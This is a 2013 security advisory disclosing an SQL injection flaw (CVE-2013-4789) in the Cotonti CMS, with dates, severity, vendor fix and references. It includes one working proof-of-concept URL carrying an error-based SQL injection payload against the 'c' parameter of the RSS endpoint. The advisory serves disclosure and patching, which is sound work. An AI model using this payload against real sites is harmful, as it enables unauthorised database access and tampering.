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SQL Injection in Cotonti

Advisory ID:HTB23164
Product:Cotonti
Vendor:Cotonti Team
Vulnerable Versions:0.9.13 and probably prior
Tested Version:0.9.13
Advisory Publication:July 10, 2013 [without technical details]
Vendor Notification:July 10, 2013
Vendor Fix:July 17, 2013
Public Disclosure:July 31, 2013
Latest Update:July 29, 2013
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2013-4789
Risk Level:High
CVSSv2 Base Score:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Cotonti, which can be exploited to perform SQL injection attacks against vulnerable application. A remote attacker can read, modify or delete data in application’s database and even gain complete control over the application under certain circumstances.

1) SQL Injection in Cotonti: CVE-2013-4789
The vulnerability exists due to insufficient filtration of the "c" HTTP GET parameter passed to "/index.php" script when HTTP GET "e" parameter is set to "rss". A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.

The following PoC code displays version of MySQL server:
http://[host]/index.php?e=rss&c=%27and%28select%201%20from%28select%20count%28*% 29%2cconcat%28%28select%20concat%28version%28%29%29%29%2cfloor%28rand%280%29*2%2 9%29x%20from%20information_schema.tables%20group%20by%20x%29a%29and%27


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Solution:
Upgrade to Cotonti 0.9.14

More Information:
http://www.cotonti.com/news/announce/siena_0914_released
http://www.cotonti.com/forums?m=posts&q=7475
https://github.com/Cotonti/Cotonti/commit/45eec046391afabb676b62b9201da0cd530360b4


References:
[1] High-Tech Bridge Advisory HTB23164 - https://www.htbridge.com/advisory/HTB23164 - SQL Injection in Cotonti.
[2] Cotonti - http://www.cotonti.com/ - Cotonti is a powerful open-source web development framework and content manager with a focus on security, speed and flexibility.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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